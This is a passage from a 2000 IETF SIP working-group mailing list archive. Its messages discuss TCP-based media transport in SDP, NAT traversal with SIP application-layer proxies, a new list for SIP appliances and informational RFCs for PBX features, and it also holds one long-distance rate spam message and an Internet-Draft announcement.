draft-ietf-mmusic-sdp-srcfilter-00.txt. The author proposes an extension to the a=line which allows to specify source addresses. Jiri -- Jiri Kuthan http://www.fokus.gmd.de/usr/kuthan -- Internet Telephony: http://www.fokus.gmd.de/glone/projects/ipt _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 9 11:39:13 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA09463 for ; Wed, 9 Aug 2000 11:39:12 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id B9E9344375; Wed, 9 Aug 2000 11:37:39 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id DEC4D4433E for ; Wed, 9 Aug 2000 11:37:34 -0400 (EDT) Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id LAA19764; Wed, 9 Aug 2000 11:37:33 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by opus.cs.columbia.edu (8.9.3/8.9.3) with ESMTP id LAA16408; Wed, 9 Aug 2000 11:37:33 -0400 (EDT) Message-ID: <39917ABC.74F4C09C@cs.columbia.edu> Date: Wed, 09 Aug 2000 11:37:32 -0400 From: Henning Schulzrinne Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Jonathan Rosenberg Cc: David Yon , sip@lists.bell-labs.com Subject: Re: [SIP] SIP, SDP, and TCP-based media transport References: <4.3.2.7.2.20000726101843.00d4a220@hither.rfdsoftware.com> <3990E304.7E53EB6@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jonathan Rosenberg wrote: > > > 2. It was proposed that the INVITE could contain a port number even if > the UAC was going to open the connection to the UAS; this port would > indicate the source port used in the open. This was motivated by the > desire for the UAS to have a single server port, and thus distinguish > incoming tcp connections from different UACs on the same machine by the > source port. > > I have a problem with including the source port in the outgoing request. > As Anders pointed out, this requires allocating a source port before a > connection is setup, which is going to be impossible in certain systems. I assume you mean the port number specified in bind()? You're saying that s = socket() bind(s, ...) connect(s, ...) does not work on some systems? > > It would also be useful to allow both sides to try to connect, in the > case where one is behind a firewall, the result is that one of the > connection attempts will work and then that can be used. If both > connect, we could define a precedence rule for dropping one. > > So, my proposal would be: > > 1. m line format stays as is > 2. instead of AVP, its a new parameter which indicates TCP: AVP-TCP AVP makes sense iff the next layer is RTP, uses RTP profile (RFC 1890bis) payload types and the encapsulation is using the 2-byte message delineation mechanism. Thus, this may be true for some TCP connections, but not others. > 3. the port number in the m line refers to the port it is listening on > for connections; this may be meaningless dependending on the next thing > 4. we define a new attribute, tcp, with values of: > active: the port number is meaningless and the UA sending this SDP > wishes to open the connection to the remote side > passive: please open a connection to this port > both: we should both try to open connections; the one opened to the > highest remote port takes precedence if both succeed. If the ports are > the same, the highest IP address. This being the two two numbers/IP addresses advertised in SDP, i.e., this should not require any additional socket calls to find out. > uni: we should both open tcp connections, and use both, each being > unidirectional (at least for RTP, RTCP would be sent back over the same > TCP connection I suppose) > > I don't like using port zero since this overloads the meaning of port > zero defined by SIP (refusal of a stream). Seems like a reasonable solution. Adding some explanatory detail as to the socket API calls involved may prevent confusion as to what's meant. As for the preconditions draft, having a table spelling out the allowable combinations of active/passive/both/uni may be useful. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 9 12:38:37 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA12873 for ; Wed, 9 Aug 2000 12:38:37 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0CA2344368; Wed, 9 Aug 2000 12:37:54 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mail2.microsoft.com (mail2.microsoft.com [131.107.3.124]) by lists.bell-labs.com (Postfix) with SMTP id 3B8804433A for ; Wed, 9 Aug 2000 12:37:50 -0400 (EDT) Received: from 157.54.9.104 by mail2.microsoft.com (InterScan E-Mail VirusWall NT); Wed, 09 Aug 2000 09:30:32 -0700 (Pacific Daylight Time) Received: by INET-IMC-02 with Internet Mail Service (5.5.2651.58) id ; Wed, 9 Aug 2000 09:30:20 -0700 Message-ID: <2E3FA0558747934A8F753CC533A3F6DF043C3263@red-msg-24.redmond.corp.microsoft.com> From: Christian Huitema To: "'Jonathan Rosenberg'" , David Yon Cc: sip@lists.bell-labs.com Subject: RE: [SIP] SIP, SDP, and TCP-based media transport Date: Wed, 9 Aug 2000 09:30:59 -0700 X-Mailer: Internet Mail Service (5.5.2651.58) Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com > 4. we define a new attribute, tcp, with values of: > active: the port number is meaningless and the UA sending this SDP > wishes to open the connection to the remote side > passive: please open a connection to this port > both: we should both try to open connections; the one opened to the > highest remote port takes precedence if both succeed. If the ports are > the same, the highest IP address. > uni: we should both open tcp connections, and use both, each being > unidirectional (at least for RTP, RTCP would be sent back > over the same > TCP connection I suppose) "both" is going to have funny results if there are one or 2 NATs on the path... You should not rely on comparing the binary values of ports or addresses. I thing that active/passive/uni provides a good match -- or active/passive/both, leaving it to the app to decide which connection is used for what purpose. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 9 12:40:36 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA13027 for ; Wed, 9 Aug 2000 12:40:35 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 00B3E44378; Wed, 9 Aug 2000 12:38:54 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from nautilus.shore.net (nautilus.shore.net [207.244.124.104]) by lists.bell-labs.com (Postfix) with ESMTP id 8B51B4433A for ; Wed, 9 Aug 2000 12:38:51 -0400 (EDT) Received: from (hither.rfdsoftware.com) [209.192.222.62] by nautilus.shore.net with esmtp (Exim) id 13MYsK-0003Bm-00; Wed, 09 Aug 2000 12:38:40 -0400 Received: from cx991414-a.dialout.net (cx991414-a.crans1.ri.home.com [24.0.249.47]) by hither.rfdsoftware.com (8.9.2/8.9.2) with ESMTP id MAA02880; Wed, 9 Aug 2000 12:31:58 -0400 (EDT) Message-Id: <4.3.2.7.2.20000809114220.00d51cd0@webhost.tactical-sw.com> X-Sender: dnyon@webhost.tactical-sw.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 09 Aug 2000 12:39:49 -0400 To: Jiri Kuthan From: David Yon Subject: Re: [SIP] SIP, SDP, and TCP-based media transport Cc: Anders Kristensen , Jonathan Rosenberg , sip@lists.bell-labs.com In-Reply-To: <39917971.3C5663EB@fokus.gmd.de> References: <4.3.2.7.2.20000726101843.00d4a220@hither.rfdsoftware.com> <4.3.2.7.2.20000809063948.00ad2b20@webhost.tactical-sw.com> <4.3.2.7.2.20000809085948.00d4c4c0@webhost.tactical-sw.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 05:32 PM 8/9/00 +0200, Jiri Kuthan wrote: >David Yon wrote: > > If someone can point out existing media descriptions that would require a > > SIP ALP to have intimate knowledge of the a= line in order to manipulate a > > NAT/firewall, I'd be interested to hear it. Barring that we will be the > > first to extend SDP such that this is required. > >Check draft-ietf-mmusic-sdp-srcfilter-00.txt. The author proposes >an extension to the a=line which allows to specify source addresses. Fair enough, although based on a quick reading of the I-D, it would appear that a simple SIP ALP would not actually be required to understand the a= line described in the draft. A *smart* SIP ALP could use it as an optimization (i.e., configure the firewall to filter the source addresses), but a simple SIP ALP could opt to let the UA do it, which is what happens anyway if there is no ALP in the path. David Yon Chief Technical Officer Dialout.Net, Inc. yon@dialout.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 9 14:36:56 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA15821 for ; Wed, 9 Aug 2000 14:36:55 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 467DF44365; Wed, 9 Aug 2000 14:36:44 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from breeze.research.telcordia.com (breeze-fddi.research.telcordia.com [192.4.5.9]) by lists.bell-labs.com (Postfix) with ESMTP id 5F0744433A for ; Wed, 9 Aug 2000 14:36:39 -0400 (EDT) Received: from stanpc.research.telcordia.com (stanpc [192.4.12.105]) by breeze.research.telcordia.com (8.10.1/8.10.1) with ESMTP id e79IaWY06581 for ; Wed, 9 Aug 2000 14:36:32 -0400 (EDT) Message-Id: <4.3.1.2.20000809142815.00ba3510@mailee.research.telcordia.com> X-Sender: stanm@mailee.research.telcordia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.1 Date: Wed, 09 Aug 2000 14:36:31 -0400 To: sip@lists.bell-labs.com From: Stan Moyer Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [SIP] SIP for Appliances -- New Mailing List Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Since our presentation during the SIP WG meeting at the Pittsburgh IETF on "SIP for Appliances" there has been a lot of discussion on this topic on this mailing list. Per Brian Rosen's suggestion (see e-mail below), we have created a mailing list expressly for the discussion of this topic. The list is appliances@research.telcordia.com and you can subscribe by sending an e-mail to appliances-request@research.telcordia.com with the word "subscribe" in the *Subject* line of the e-mail. We have also created an accompanying web page at http://www.research.telcordia.com/iapp/ The (initial) plan for the new appliances mailing list is to continue the discussion begun on this mailing list regarding the use of SIP for networked appliances. We plan to request a BoF at the San Diego IETF and submit several more Internet Drafts on this subject. We welcome everyone to participate and especially hope that everyone involved with the SIP for Appliances threads on this mailing list join the new list. Thanks, -Stan Stan Moyer Director, Internet Services Infrastructure Research ; Telcordia Technologies, MCC-1A238R, 445 South Street, Morristown, NJ 07960-6438 voice: +1 973 829 4923; fax: +1 973 829 5889 http://www.argreenhouse.com/bios/stanm/ >From: "Rosen, Brian" >To: sip@lists.bell-labs.com >Date: Mon, 7 Aug 2000 15:14:53 -0400 >Subject: [SIP] SIP for Appliances > >The discussion on SIP for appliances has been fascinating, >and many good points have been raised. Use of SIP to CONTROL >appliances may or may not be the greatest thing since sliced >bread, but, unfortunately, falls outside of the SIP working >group charter: >"SIP is a text-based protocol, similar to HTTP and SMTP, for >initiating interactive communication sessions between users. >Such sessions include voice, video, chat, interactive games, >and virtual reality." > >We encourage the authors of the draft to create a mailing list >for the subject. They will be welcome to post an announcement >of such a list on the main SIP list. If the discussion proves as >lively as it has been, you may consider asking for a BOF at the >next IETF meeting. > >Since we have a ton of work to accomplish that falls within the >charter of the SIP WG, the chairs would like to cut off discussion >of this subject on the SIP list. > >We do not wish to curtail sip discussions that focus on devices >that facilitate multimedia communications between users >(such as dedicated IP phones, kitchen-counter mail/web/sip boxes, >set-top-boxes, and so on). These are within scope, and are encouraged. > >Brian Rosen >Joerg Ott >Dean Willis > > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 9 16:18:53 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA19161 for ; Wed, 9 Aug 2000 16:18:52 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id BC04444380; Wed, 9 Aug 2000 16:18:44 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from pmesmtp01.wcom.com (pmesmtp01.wcom.com [199.249.20.1]) by lists.bell-labs.com (Postfix) with ESMTP id 4A57B4433E for ; Wed, 9 Aug 2000 16:18:41 -0400 (EDT) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-32 #42256) id <0FZ100101KEVPK@firewall.mcit.com> for sip@lists.bell-labs.com; Wed, 9 Aug 2000 20:18:31 +0000 (GMT) Received: from pmismtp02.wcomnet.com ([166.38.62.37]) by firewall.mcit.com (PMDF V5.2-32 #42256) with ESMTP id <0FZ100GP2KEVH4@firewall.mcit.com>; Wed, 09 Aug 2000 20:18:31 +0000 (GMT) Received: from CONVERSION-DAEMON by pmismtp02.wcomnet.com (PMDF V5.2-33 #42259) id <0FZ100801KEVT3@pmismtp02.wcomnet.com>; Wed, 09 Aug 2000 20:18:31 +0000 (GMT) Received: from pmismtp02.wcomnet.com by pmismtp02.wcomnet.com (PMDF V5.2-33 #42259) with SMTP id <0FZ100801KELRM@pmismtp02.wcomnet.com>; Wed, 09 Aug 2000 20:18:31 +0000 (GMT) Received: from omzmta03.mcit.com ([166.37.214.9]) by pmismtp02.wcomnet.com (PMDF V5.2-33 #42259) with ESMTP id <0FZ10079VKEFBG@pmismtp02.wcomnet.com>; Wed, 09 Aug 2000 20:18:16 +0000 (GMT) Received: from wcom.com ([166.44.154.198]) by omzmta03.mcit.com (InterMail v03.02.07 118-124-101) with ESMTP id <20000809201814.ZSJZ671@wcom.com>; Wed, 09 Aug 2000 20:18:14 +0000 Date: Wed, 09 Aug 2000 15:19:29 -0500 From: Alan Johnston Subject: Re: [SIP] The NOTIFY method To: "Rosen, Brian" Cc: "'Tom Gray'" , Henry Sinnreich , Robert Sparks , sip@lists.bell-labs.com Message-id: <3991BCD1.3F0A061B@wcom.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (Win98; U) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: <4FBEA8857476D311A03300204840E1CF6786D0@whq-msgusr-02.fore.com> Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Brian, The next call flows document, SIP Service Examples (based on what was section 7 from draft-ietf-sip-call-flows-00.txt which uses Bye-Also) will cover many of these issues, and will hopefully become an Informational RFC. The basic goal of the document will be to give examples of common PSTN Class and PBX features using SIP. The draft will use REFER and other new methods and extensions. Alan. "Rosen, Brian" wrote: > My opinion is that where it is essential that two sip components > agree on how a feature is to be handled, then there should be > some kind of document that describes how that works, so that > interoperability can be achieved. If the feature is solely implemented > in a single element, then it is not something we need to > worry about. > > Just because there needs to be a document does not imply a standards > track RFC. Only things which are not achievable with existing SIP > methods might need extensions. Other features might be covered in > other kinds of documents, Informational RFCs for example, or even > documents not in the IETF. > > > -----Original Message----- > > From: Tom Gray [mailto:tom_gray_intp@yahoo.com] > > Sent: Monday, August 07, 2000 6:49 PM > > To: Henry Sinnreich; Robert Sparks; sip@lists.bell-labs.com > > Subject: RE: [SIP] The NOTIFY method > > > > > > > > --- Henry Sinnreich wrote: > > > >May I ask why SIP is being extended to include PBX > > > >feature handling? > > > > > > SIP phones can provide the PBX features without the > > > (IP)PBX. > > > > > > Henry > > > > > > > What levels of features do you then see being created > > with SIP? There a a whole host of PBX features. It > > seems that you are asking for a subset. > > > > Tom Gray > > > > > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 9 16:23:51 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA19313 for ; Wed, 9 Aug 2000 16:23:50 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 3788144388; Wed, 9 Aug 2000 16:22:22 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by lists.bell-labs.com (Postfix) with ESMTP id 954424433E for ; Wed, 9 Aug 2000 16:22:06 -0400 (EDT) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id QAA09828; Wed, 9 Aug 2000 16:21:53 -0400 (EDT) Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id QAA27651; Wed, 9 Aug 2000 16:21:53 -0400 (EDT) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 9 Aug 2000 16:21:54 -0400 Message-ID: <4FBEA8857476D311A03300204840E1CF6786FD@whq-msgusr-02.fore.com> From: "Rosen, Brian" To: "'Alan Johnston'" Cc: "'Tom Gray'" , Henry Sinnreich , Robert Sparks , sip@lists.bell-labs.com Subject: RE: [SIP] The NOTIFY method Date: Wed, 9 Aug 2000 16:21:52 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Yep, that was one of those "Informational RFCs" I was talking about. Brian > -----Original Message----- > From: Alan Johnston [mailto:alan.johnston@wcom.com] > Sent: Wednesday, August 09, 2000 4:19 PM > To: Rosen, Brian > Cc: 'Tom Gray'; Henry Sinnreich; Robert Sparks; > sip@lists.bell-labs.com > Subject: Re: [SIP] The NOTIFY method > > > Brian, > > The next call flows document, SIP Service Examples (based on what was > section 7 from draft-ietf-sip-call-flows-00.txt which uses > Bye-Also) will > cover many of these issues, and will hopefully become an Informational > RFC. The basic goal of the document will be to give > examples of common > PSTN Class and PBX features using SIP. The draft will use > REFER and other > new methods and extensions. > > Alan. > > "Rosen, Brian" wrote: > > > My opinion is that where it is essential that two sip components > > agree on how a feature is to be handled, then there should be > > some kind of document that describes how that works, so that > > interoperability can be achieved. If the feature is solely > implemented > > in a single element, then it is not something we need to > > worry about. > > > > Just because there needs to be a document does not imply a standards > > track RFC. Only things which are not achievable with existing SIP > > methods might need extensions. Other features might be covered in > > other kinds of documents, Informational RFCs for example, or even > > documents not in the IETF. > > > > > -----Original Message----- > > > From: Tom Gray [mailto:tom_gray_intp@yahoo.com] > > > Sent: Monday, August 07, 2000 6:49 PM > > > To: Henry Sinnreich; Robert Sparks; sip@lists.bell-labs.com > > > Subject: RE: [SIP] The NOTIFY method > > > > > > > > > > > > --- Henry Sinnreich wrote: > > > > >May I ask why SIP is being extended to include PBX > > > > >feature handling? > > > > > > > > SIP phones can provide the PBX features without the > > > > (IP)PBX. > > > > > > > > Henry > > > > > > > > > > What levels of features do you then see being created > > > with SIP? There a a whole host of PBX features. It > > > seems that you are asking for a subset. > > > > > > Tom Gray > > > > > > > > > > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 01:59:54 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA05248 for ; Thu, 10 Aug 2000 01:59:54 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 99B4244341; Thu, 10 Aug 2000 01:59:22 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mx.boston.juno.com (tnt1a-48.newyork.corecomm.net [216.214.109.48]) by lists.bell-labs.com (Postfix) with SMTP id 65D6044338; Thu, 10 Aug 2000 01:59:12 -0400 (EDT) From: Date: Thu, 10 Aug 2000 01:29:02 Message-Id: <696.339493.762850@mx.boston.juno.com> Subject: [SIP] re:from Lorraine - Philippines $0.23, Japan $.09,china $.31,malaysia$.18 and more,what do you think Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com ONLY IF YOU WANT YOUR PHONE BILL CUT IN 1/2 !!!!!!!!!!!!$$$$$$$$$$$$$$ -------CLICK HERE--- http://www.hometown.aol.com/cheaprates123/advertisment/index.html _________________________________________________________________ ___________________________ As I promise ,I WILL PAY CUT YOU PHONE BILL IN 1/2 IF YOU JUST GIVE ME A CHANCE!! AT&T,SPRINT, MCI long distance carriers are getting rich off of You and ME Please take a look at My rates, we are sure I will beat their price. There are no monthly or minimum fees or any other hidden costs. You just pay for the time you are on the phone. If your paying less,I will beat what your paying no matter what!!!!!! For a complete rate chart and sign-up info http://www.hometown.aol.com/cheaprates123/advertisment/index.html Example: Germany .05+ USA .05 =.10 per minute Country Code Per Minute Algeria-----------------213 0.26 American Samoa----------684 0.16 Andorra-----------------336 0.17 Angola------------------244 0.36 Anguilla----------------264 0.34 Antigu------------------268 0.40 Aruba-------------------297 0.26 Bahamas-----------------242 0.16 Bangladesh--------------880 0.64 Barbados----------------246 0.42 Belize------------------501 0.51 Bermuda-----------------441 0.16 Canada------------------ 0.07 Cape Verde-------------238 0.43 Caymans-----------------345 0.26 Dominica----------------767 0.44 Dominican Rep.----------809 0.14 Egypt-------------------20 0.51 France------------------33 0.06 Germany-----------------49 0.05 Grand Turk--------------649 0.44 Grenada-----------------473 0.42 Jordan------------------962 0.51 Lebanon*----------------961 0.40 Papua New Guinea-------675 0.31 Saudi Arabia-----------966 0.59 St Helena---------------290 0.59 St Kitts----------------869 0.35 St Lucia----------------758 0.42 St Pierre---------------508 0.22 St Vincent--------------784 0.42 Trinidad----------------868 0.47 U S Virgin--------------340 0.07 United Arab Emirates---971 0.31 United Kingdom----------44 0.05 USA---------------------1 0.05 Add the country you're calling from to the country you're calling, to get the rate per minute Rates apply 24 hrs/day, 7 days per week NO sign-up fees, NO monthly fees, and NO surcharges You DO NOT have to SWITCH your current provider Ideal for Home and Business use Callback service is available to/from anywhere in the world. Contact ME for more information and complete rate table at: mailto:cheaprates1234@earthlink.net http://hometown.aol.com/cheaprates123 Just Tell me what you want to pay !!!!!! If you would like to be removed from our list, please reply to: mailto:cheaprates1234@earthlink.net with the word "remove" in the subject line. **************************************************** _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 06:53:16 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA14368 for ; Thu, 10 Aug 2000 06:53:15 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 481E74433A; Thu, 10 Aug 2000 06:53:02 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ietf.org (odin.ietf.org [132.151.1.176]) by lists.bell-labs.com (Postfix) with ESMTP id 6569244338 for ; Thu, 10 Aug 2000 06:52:59 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA14331; Thu, 10 Aug 2000 06:52:58 -0400 (EDT) Message-Id: <200008101052.GAA14331@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: sip@lists.bell-labs.com From: Internet-Drafts@ietf.org Reply-To: Internet-Drafts@ietf.org Date: Thu, 10 Aug 2000 06:52:58 -0400 Subject: [SIP] I-D ACTION:draft-ietf-sip-rfc2543bis-00.txt,.ps Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Session Initiation Protocol Working Group of the IETF. Title : SIP: Session Initiation Protocol Author(s) : M. Handley, H. Schulzrinne, E. Schooler, J. Rosenberg Filename : draft-ietf-sip-rfc2543bis-00.txt,.ps Pages : 177 Date : 09-Aug-00 The Session Initiation Protocol (SIP) is an application-layer control (signaling) protocol for creating, modifying and terminating sessions with one or more participants. These sessions include Internet multimedia conferences, Internet telephone calls and multimedia distribution. Members in a session can communicate via multicast or via a mesh of unicast relations, or a combination of these. SIP invitations used to create sessions carry session descriptions which allow participants to agree on a set of compatible media types. SIP supports user mobility by proxying and redirecting requests to the user's current location. Users can register their current location. SIP is not tied to any particular conference control protocol. SIP is designed to be independent of the lower-layer transport protocol and can be extended with additional capabilities. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-sip-rfc2543bis-00.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-sip-rfc2543bis-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-sip-rfc2543bis-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20000809142447.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-sip-rfc2543bis-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-sip-rfc2543bis-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20000809142447.I-D@ietf.org> --OtherAccess-- --NextPart-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 09:16:09 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA20451 for ; Thu, 10 Aug 2000 09:16:09 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A16AA4433F; Thu, 10 Aug 2000 09:16:04 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from web120.yahoomail.com (web120.yahoomail.com [205.180.60.121]) by lists.bell-labs.com (Postfix) with SMTP id 709AD44338 for ; Thu, 10 Aug 2000 09:16:01 -0400 (EDT) Received: (qmail 18976 invoked by uid 60001); 10 Aug 2000 13:16:00 -0000 Message-ID: <20000810131600.18975.qmail@web120.yahoomail.com> Received: from [209.226.172.70] by web120.yahoomail.com; Thu, 10 Aug 2000 06:16:00 PDT Date: Thu, 10 Aug 2000 06:16:00 -0700 (PDT) From: Tom Gray Subject: RE: [SIP] The NOTIFY method To: "Rosen, Brian" , "'Alan Johnston'" Cc: "'Tom Gray'" , Henry Sinnreich , Robert Sparks , sip@lists.bell-labs.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com --- "Rosen, Brian" wrote: > Yep, that was one of those "Informational RFCs" I > was talking about. > > Brian > The informaional RFC is described as 